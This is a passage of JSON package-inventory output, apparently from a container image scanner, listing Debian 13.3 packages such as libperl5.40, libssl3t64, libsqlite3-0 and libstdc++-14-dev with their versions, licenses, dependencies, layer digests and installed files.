"/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/struct_rwlock.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-ldbl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog-path.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/thread-shared-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/timesize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/__sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/__sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/clock_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/clockid_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/idtype_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sig_atomic_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigevent_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/siginfo_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/stack_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_iovec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_osockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_rusage.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_timespec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/struct_timeval.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/time_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/types/timer_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/typesizes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/uintn-identity.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd-decl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/unistd_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/waitflags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/waitstatus.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/wordsize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/errno.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/features-time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/features.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/gnu/stubs-64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/gnu/stubs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/lib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/linux/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/mro.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/ops.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/re.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/signal.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stdarg.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stdc-predef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/cdefs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/time.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ttydefaults.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/ucontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sys/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/sysexits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syslimits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/threads.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/threads/shared.pm", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.40.1/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/README", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.debug.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.shared.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.40.1/config.sh.static.gz", "/usr/share/doc/libperl5.40/changelog.Debian.gz", "/usr/share/doc/libperl5.40/changelog.gz", "/usr/share/doc/libperl5.40/copyright", "/usr/share/lintian/overrides/libperl5.40", "/usr/share/man/man1/cpan5.40-x86_64-linux-gnu.1.gz", "/usr/share/man/man1/perl5.40-x86_64-linux-gnu.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libquadmath0@14.2.0-19", "Name": "libquadmath0", "Identifier": { "PURL": "pkg:deb/debian/libquadmath0@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "82006e4380ea925b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libquadmath.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libreadline8t64@8.2-6", "Name": "libreadline8t64", "Identifier": { "PURL": "pkg:deb/debian/libreadline8t64@8.2-6?arch=amd64\u0026distro=debian-13.3", "UID": "5189003d27299b9a" }, "Version": "8.2", "Release": "6", "Arch": "amd64", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "6", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libtinfo6@6.5+20250216-2", "readline-common@8.2-6" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhistory.so.8.2", "/usr/lib/x86_64-linux-gnu/libreadline.so.8.2", "/usr/share/doc/libreadline8t64/README.Debian", "/usr/share/doc/libreadline8t64/USAGE", "/usr/share/doc/libreadline8t64/changelog.Debian.gz", "/usr/share/doc/libreadline8t64/changelog.gz", "/usr/share/doc/libreadline8t64/copyright", "/usr/share/doc/libreadline8t64/examples/Inputrc", "/usr/share/doc/libreadline8t64/inputrc.arrows" ], "AnalyzedBy": "dpkg" }, { "ID": "libseccomp2@2.6.0-2", "Name": "libseccomp2", "Identifier": { "PURL": "pkg:deb/debian/libseccomp2@2.6.0-2?arch=amd64\u0026distro=debian-13.3", "UID": "ab6f2d2340eb8e87" }, "Version": "2.6.0", "Release": "2", "Arch": "amd64", "SrcName": "libseccomp", "SrcVersion": "2.6.0", "SrcRelease": "2", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Kees Cook \u003ckees@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libseccomp.so.2.6.0", "/usr/share/doc/libseccomp2/changelog.Debian.gz", "/usr/share/doc/libseccomp2/changelog.gz", "/usr/share/doc/libseccomp2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libselinux1@3.8.1-1", "Name": "libselinux1", "Identifier": { "PURL": "pkg:deb/debian/libselinux1@3.8.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "1186c98eeffb1e1c" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libselinux", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "public-domain", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libpcre2-8-0@10.46-1~deb13u1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/tmpfiles.d/libselinux1.conf", "/usr/lib/x86_64-linux-gnu/libselinux.so.1", "/usr/share/doc/libselinux1/changelog.Debian.gz", "/usr/share/doc/libselinux1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage-common@3.8.1-1", "Name": "libsemanage-common", "Identifier": { "PURL": "pkg:deb/debian/libsemanage-common@3.8.1-1?arch=all\u0026distro=debian-13.3", "UID": "ecc6b54d8bc6318c" }, "Version": "3.8.1", "Release": "1", "Arch": "all", "SrcName": "libsemanage", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/libsemanage-common/changelog.Debian.gz", "/usr/share/doc/libsemanage-common/copyright", "/usr/share/man/man5/semanage.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage2@3.8.1-1", "Name": "libsemanage2", "Identifier": { "PURL": "pkg:deb/debian/libsemanage2@3.8.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "5ed937538fa20cb" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libsemanage", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u2", "libselinux1@3.8.1-1", "libsemanage-common@3.8.1-1", "libsepol2@3.8.1-1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsemanage.so.2", "/usr/share/doc/libsemanage2/changelog.Debian.gz", "/usr/share/doc/libsemanage2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsepol2@3.8.1-1", "Name": "libsepol2", "Identifier": { "PURL": "pkg:deb/debian/libsepol2@3.8.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "f93073011a044623" }, "Version": "3.8.1", "Release": "1", "Arch": "amd64", "SrcName": "libsepol", "SrcVersion": "3.8.1", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "Zlib", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsepol.so.2", "/usr/share/doc/libsepol2/changelog.Debian.gz", "/usr/share/doc/libsepol2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsframe1@2.44-3", "Name": "libsframe1", "Identifier": { "PURL": "pkg:deb/debian/libsframe1@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "a15ac5e24c90d892" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsframe.so.1.0.0", "/usr/share/doc/libsframe1/changelog.Debian.gz", "/usr/share/doc/libsframe1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsmartcols1@2.41-5", "Name": "libsmartcols1", "Identifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsmartcols.so.1.1.0", "/usr/share/doc/libsmartcols1/NEWS.Debian.gz", "/usr/share/doc/libsmartcols1/changelog.Debian.gz", "/usr/share/doc/libsmartcols1/changelog.gz", "/usr/share/doc/libsmartcols1/copyright", "/usr/share/lintian/overrides/libsmartcols1" ], "AnalyzedBy": "dpkg" }, { "ID": "libsqlite3-0@3.46.1-7", "Name": "libsqlite3-0", "Identifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7?arch=amd64\u0026distro=debian-13.3", "UID": "2575602fecf9ea39" }, "Version": "3.46.1", "Release": "7", "Arch": "amd64", "SrcName": "sqlite3", "SrcVersion": "3.46.1", "SrcRelease": "7", "Licenses": [ "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6", "/usr/share/doc/libsqlite3-0/README.Debian", "/usr/share/doc/libsqlite3-0/changelog.Debian.gz", "/usr/share/doc/libsqlite3-0/changelog.gz", "/usr/share/doc/libsqlite3-0/changelog.html.gz", "/usr/share/doc/libsqlite3-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libssl3t64@3.5.4-1~deb13u2", "Name": "libssl3t64", "Identifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "Version": "3.5.4", "Release": "1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.4", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libzstd1@1.5.7+dfsg-1", "openssl-provider-legacy@3.5.4-1~deb13u2", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/engines-3/afalg.so", "/usr/lib/x86_64-linux-gnu/engines-3/loader_attic.so", "/usr/lib/x86_64-linux-gnu/engines-3/padlock.so", "/usr/lib/x86_64-linux-gnu/libcrypto.so.3", "/usr/lib/x86_64-linux-gnu/libssl.so.3", "/usr/share/doc/libssl3t64/NEWS.Debian.gz", "/usr/share/doc/libssl3t64/changelog.Debian.gz", "/usr/share/doc/libssl3t64/changelog.gz", "/usr/share/doc/libssl3t64/copyright", "/usr/share/lintian/overrides/libssl3t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libstdc++-14-dev@14.2.0-19", "Name": "libstdc++-14-dev", "Identifier": { "PURL": "pkg:deb/debian/libstdc%2B%2B-14-dev@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "688b3405410b9852" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6-dev@2.41-12+deb13u2", "libgcc-14-dev@14.2.0-19", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/include/c++/14/algorithm", "/usr/include/c++/14/any", "/usr/include/c++/14/array", "/usr/include/c++/14/atomic", "/usr/include/c++/14/backward/auto_ptr.h", "/usr/include/c++/14/backward/backward_warning.h", "/usr/include/c++/14/backward/binders.h", "/usr/include/c++/14/backward/hash_fun.h", "/usr/include/c++/14/backward/hash_map", "/usr/include/c++/14/backward/hash_set", "/usr/include/c++/14/backward/hashtable.h", "/usr/include/c++/14/backward/strstream", "/usr/include/c++/14/barrier", "/usr/include/c++/14/bit", "/usr/include/c++/14/bits/algorithmfwd.h", "/usr/include/c++/14/bits/align.h", "/usr/include/c++/14/bits/alloc_traits.h", "/usr/include/c++/14/bits/allocated_ptr.h", "/usr/include/c++/14/bits/allocator.h", "/usr/include/c++/14/bits/atomic_base.h", "/usr/include/c++/14/bits/atomic_futex.h", "/usr/include/c++/14/bits/atomic_lockfree_defines.h", "/usr/include/c++/14/bits/atomic_timed_wait.h", "/usr/include/c++/14/bits/atomic_wait.h", "/usr/include/c++/14/bits/basic_ios.h", "/usr/include/c++/14/bits/basic_ios.tcc", "/usr/include/c++/14/bits/basic_string.h", "/usr/include/c++/14/bits/basic_string.tcc", "/usr/include/c++/14/bits/boost_concept_check.h", "/usr/include/c++/14/bits/c++0x_warning.h", "/usr/include/c++/14/bits/char_traits.h", "/usr/include/c++/14/bits/charconv.h", "/usr/include/c++/14/bits/chrono.h", "/usr/include/c++/14/bits/chrono_io.h", "/usr/include/c++/14/bits/codecvt.h", "/usr/include/c++/14/bits/concept_check.h", "/usr/include/c++/14/bits/cow_string.h", "/usr/include/c++/14/bits/cpp_type_traits.h", "/usr/include/c++/14/bits/cxxabi_forced.h", "/usr/include/c++/14/bits/cxxabi_init_exception.h", "/usr/include/c++/14/bits/deque.tcc", "/usr/include/c++/14/bits/elements_of.h", "/usr/include/c++/14/bits/enable_special_members.h", "/usr/include/c++/14/bits/erase_if.h", "/usr/include/c++/14/bits/exception.h", "/usr/include/c++/14/bits/exception_defines.h", "/usr/include/c++/14/bits/exception_ptr.h", "/usr/include/c++/14/bits/forward_list.h", "/usr/include/c++/14/bits/forward_list.tcc", "/usr/include/c++/14/bits/fs_dir.h", "/usr/include/c++/14/bits/fs_fwd.h", "/usr/include/c++/14/bits/fs_ops.h", "/usr/include/c++/14/bits/fs_path.h", "/usr/include/c++/14/bits/fstream.tcc", "/usr/include/c++/14/bits/functexcept.h", "/usr/include/c++/14/bits/functional_hash.h", "/usr/include/c++/14/bits/gslice.h", "/usr/include/c++/14/bits/gslice_array.h", "/usr/include/c++/14/bits/hash_bytes.h", "/usr/include/c++/14/bits/hashtable.h", "/usr/include/c++/14/bits/hashtable_policy.h", "/usr/include/c++/14/bits/indirect_array.h", "/usr/include/c++/14/bits/invoke.h", "/usr/include/c++/14/bits/ios_base.h", "/usr/include/c++/14/bits/istream.tcc", "/usr/include/c++/14/bits/iterator_concepts.h", "/usr/include/c++/14/bits/list.tcc", "/usr/include/c++/14/bits/locale_classes.h", "/usr/include/c++/14/bits/locale_classes.tcc", "/usr/include/c++/14/bits/locale_conv.h", "/usr/include/c++/14/bits/locale_facets.h", "/usr/include/c++/14/bits/locale_facets.tcc", "/usr/include/c++/14/bits/locale_facets_nonio.h", "/usr/include/c++/14/bits/locale_facets_nonio.tcc", "/usr/include/c++/14/bits/localefwd.h", "/usr/include/c++/14/bits/mask_array.h", "/usr/include/c++/14/bits/max_size_type.h", "/usr/include/c++/14/bits/memory_resource.h", "/usr/include/c++/14/bits/memoryfwd.h", "/usr/include/c++/14/bits/mofunc_impl.h", "/usr/include/c++/14/bits/move.h", "/usr/include/c++/14/bits/move_only_function.h", "/usr/include/c++/14/bits/nested_exception.h", "/usr/include/c++/14/bits/new_allocator.h", "/usr/include/c++/14/bits/node_handle.h", "/usr/include/c++/14/bits/ostream.tcc", "/usr/include/c++/14/bits/ostream_insert.h", "/usr/include/c++/14/bits/out_ptr.h", "/usr/include/c++/14/bits/parse_numbers.h", "/usr/include/c++/14/bits/postypes.h", "/usr/include/c++/14/bits/predefined_ops.h", "/usr/include/c++/14/bits/ptr_traits.h", "/usr/include/c++/14/bits/quoted_string.h", "/usr/include/c++/14/bits/random.h", "/usr/include/c++/14/bits/random.tcc", "/usr/include/c++/14/bits/range_access.h", "/usr/include/c++/14/bits/ranges_algo.h", "/usr/include/c++/14/bits/ranges_algobase.h", "/usr/include/c++/14/bits/ranges_base.h", "/usr/include/c++/14/bits/ranges_cmp.h", "/usr/include/c++/14/bits/ranges_uninitialized.h", "/usr/include/c++/14/bits/ranges_util.h", "/usr/include/c++/14/bits/refwrap.h", "/usr/include/c++/14/bits/regex.h", "/usr/include/c++/14/bits/regex.tcc", "/usr/include/c++/14/bits/regex_automaton.h", "/usr/include/c++/14/bits/regex_automaton.tcc", "/usr/include/c++/14/bits/regex_compiler.h", "/usr/include/c++/14/bits/regex_compiler.tcc", "/usr/include/c++/14/bits/regex_constants.h", "/usr/include/c++/14/bits/regex_error.h", "/usr/include/c++/14/bits/regex_executor.h", "/usr/include/c++/14/bits/regex_executor.tcc", "/usr/include/c++/14/bits/regex_scanner.h", "/usr/include/c++/14/bits/regex_scanner.tcc", "/usr/include/c++/14/bits/requires_hosted.h", "/usr/include/c++/14/bits/sat_arith.h", "/usr/include/c++/14/bits/semaphore_base.h", "/usr/include/c++/14/bits/shared_ptr.h", "/usr/include/c++/14/bits/shared_ptr_atomic.h", "/usr/include/c++/14/bits/shared_ptr_base.h", "/usr/include/c++/14/bits/slice_array.h", "/usr/include/c++/14/bits/specfun.h", "/usr/include/c++/14/bits/sstream.tcc", "/usr/include/c++/14/bits/std_abs.h", "/usr/include/c++/14/bits/std_function.h", "/usr/include/c++/14/bits/std_mutex.h", "/usr/include/c++/14/bits/std_thread.h", "/usr/include/c++/14/bits/stl_algo.h", "/usr/include/c++/14/bits/stl_algobase.h", "/usr/include/c++/14/bits/stl_bvector.h", "/usr/include/c++/14/bits/stl_construct.h", "/usr/include/c++/14/bits/stl_deque.h", "/usr/include/c++/14/bits/stl_function.h", "/usr/include/c++/14/bits/stl_heap.h", "/usr/include/c++/14/bits/stl_iterator.h", "/usr/include/c++/14/bits/stl_iterator_base_funcs.h", "/usr/include/c++/14/bits/stl_iterator_base_types.h", "/usr/include/c++/14/bits/stl_list.h", "/usr/include/c++/14/bits/stl_map.h", "/usr/include/c++/14/bits/stl_multimap.h", "/usr/include/c++/14/bits/stl_multiset.h", "/usr/include/c++/14/bits/stl_numeric.h", "/usr/include/c++/14/bits/stl_pair.h", "/usr/include/c++/14/bits/stl_queue.h", "/usr/include/c++/14/bits/stl_raw_storage_iter.h", "/usr/include/c++/14/bits/stl_relops.h", "/usr/include/c++/14/bits/stl_set.h", "/usr/include/c++/14/bits/stl_stack.h", "/usr/include/c++/14/bits/stl_tempbuf.h", "/usr/include/c++/14/bits/stl_tree.h", "/usr/include/c++/14/bits/stl_uninitialized.h", "/usr/include/c++/14/bits/stl_vector.h", "/usr/include/c++/14/bits/stream_iterator.h", "/usr/include/c++/14/bits/streambuf.tcc", "/usr/include/c++/14/bits/streambuf_iterator.h", "/usr/include/c++/14/bits/string_view.tcc", "/usr/include/c++/14/bits/stringfwd.h", "/usr/include/c++/14/bits/text_encoding-data.h", "/usr/include/c++/14/bits/this_thread_sleep.h", "/usr/include/c++/14/bits/unicode-data.h", "/usr/include/c++/14/bits/unicode.h", "/usr/include/c++/14/bits/uniform_int_dist.h", "/usr/include/c++/14/bits/unique_lock.h", "/usr/include/c++/14/bits/unique_ptr.h", "/usr/include/c++/14/bits/unordered_map.h", "/usr/include/c++/14/bits/unordered_set.h", "/usr/include/c++/14/bits/uses_allocator.h", "/usr/include/c++/14/bits/uses_allocator_args.h", "/usr/include/c++/14/bits/utility.h", "/usr/include/c++/14/bits/valarray_after.h", "/usr/include/c++/14/bits/valarray_array.h", "/usr/include/c++/14/bits/valarray_array.tcc", "/usr/include/c++/14/bits/valarray_before.h", "/usr/include/c++/14/bits/vector.tcc", "/usr/include/c++/14/bits/version.h", "/usr/include/c++/14/bitset", "/usr/include/c++/14/cassert", "/usr/include/c++/14/ccomplex", "/usr/include/c++/14/cctype", "/usr/include/c++/14/cerrno", "/usr/include/c++/14/cfenv", "/usr/include/c++/14/cfloat", "/usr/include/c++/14/charconv", "/usr/include/c++/14/chrono", "/usr/include/c++/14/cinttypes", "/usr/include/c++/14/ciso646", "/usr/include/c++/14/climits", "/usr/include/c++/14/clocale", "/usr/include/c++/14/cmath", "/usr/include/c++/14/codecvt", "/usr/include/c++/14/compare", "/usr/include/c++/14/complex", "/usr/include/c++/14/complex.h", "/usr/include/c++/14/concepts", "/usr/include/c++/14/condition_variable", "/usr/include/c++/14/coroutine", "/usr/include/c++/14/csetjmp", "/usr/include/c++/14/csignal", "/usr/include/c++/14/cstdalign", "/usr/include/c++/14/cstdarg", "/usr/include/c++/14/cstdbool", "/usr/include/c++/14/cstddef", "/usr/include/c++/14/cstdint", "/usr/include/c++/14/cstdio", "/usr/include/c++/14/cstdlib", "/usr/include/c++/14/cstring", "/usr/include/c++/14/ctgmath", "/usr/include/c++/14/ctime", "/usr/include/c++/14/cuchar", "/usr/include/c++/14/cwchar", "/usr/include/c++/14/cwctype", "/usr/include/c++/14/cxxabi.h", "/usr/include/c++/14/debug/assertions.h", "/usr/include/c++/14/debug/bitset", "/usr/include/c++/14/debug/debug.h", "/usr/include/c++/14/debug/deque", "/usr/include/c++/14/debug/formatter.h", "/usr/include/c++/14/debug/forward_list", "/usr/include/c++/14/debug/functions.h", "/usr/include/c++/14/debug/helper_functions.h", "/usr/include/c++/14/debug/list", "/usr/include/c++/14/debug/macros.h", "/usr/include/c++/14/debug/map", "/usr/include/c++/14/debug/map.h", "/usr/include/c++/14/debug/multimap.h", "/usr/include/c++/14/debug/multiset.h", "/usr/include/c++/14/debug/safe_base.h", "/usr/include/c++/14/debug/safe_container.h", "/usr/include/c++/14/debug/safe_iterator.h", "/usr/include/c++/14/debug/safe_iterator.tcc", "/usr/include/c++/14/debug/safe_local_iterator.h", "/usr/include/c++/14/debug/safe_local_iterator.tcc", "/usr/include/c++/14/debug/safe_sequence.h", 